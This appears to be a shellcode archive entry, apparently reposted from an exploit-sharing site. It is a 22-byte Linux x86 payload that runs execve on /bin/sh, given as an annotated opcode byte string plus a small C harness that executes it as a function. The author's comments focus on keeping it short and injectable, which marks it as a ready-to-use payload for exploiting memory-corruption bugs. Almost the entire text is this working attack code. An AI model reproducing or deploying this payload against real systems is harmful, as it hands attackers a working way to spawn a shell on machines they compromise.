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linux/x86 execve(/bin/sh) 22 bytes
[==================================
linux/x86 execve(/bin/sh) 22 bytes
==================================
/*
* revenge-execve.c, v1.0 2006/10/14 16:32
*
* Yet another linux execve shellcode..
* linux/x86 execve("/bin//sh/",["/bin//sh"],NULL) shellcode
*
* http://www.0xcafebabe.it
* <revenge@0xcafebabe.it>
*
* But this time it's 22 bytes
*
* [ We could start the shellcode with a mov instead of (push + pop) eax ]
* [ obtaining the same result with 1 byte less, but if we had something ]
* [ wrong in eax (ex. -1 due to an unclear function exit) we can't ]
* [ inject it ]
*
* */
char sc[] =
// <_start>
"\xb0\x0b" // mov $0xb,%al
"\x99" // cltd
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp,%ecx
"\xcd\x80" // int $0x80
;
int main()
{
void (*fp)(void) = (void (*)(void))sc;
printf("Length: %d\n",strlen(sc));
fp();
}
# 0day.today [2024-12-25] #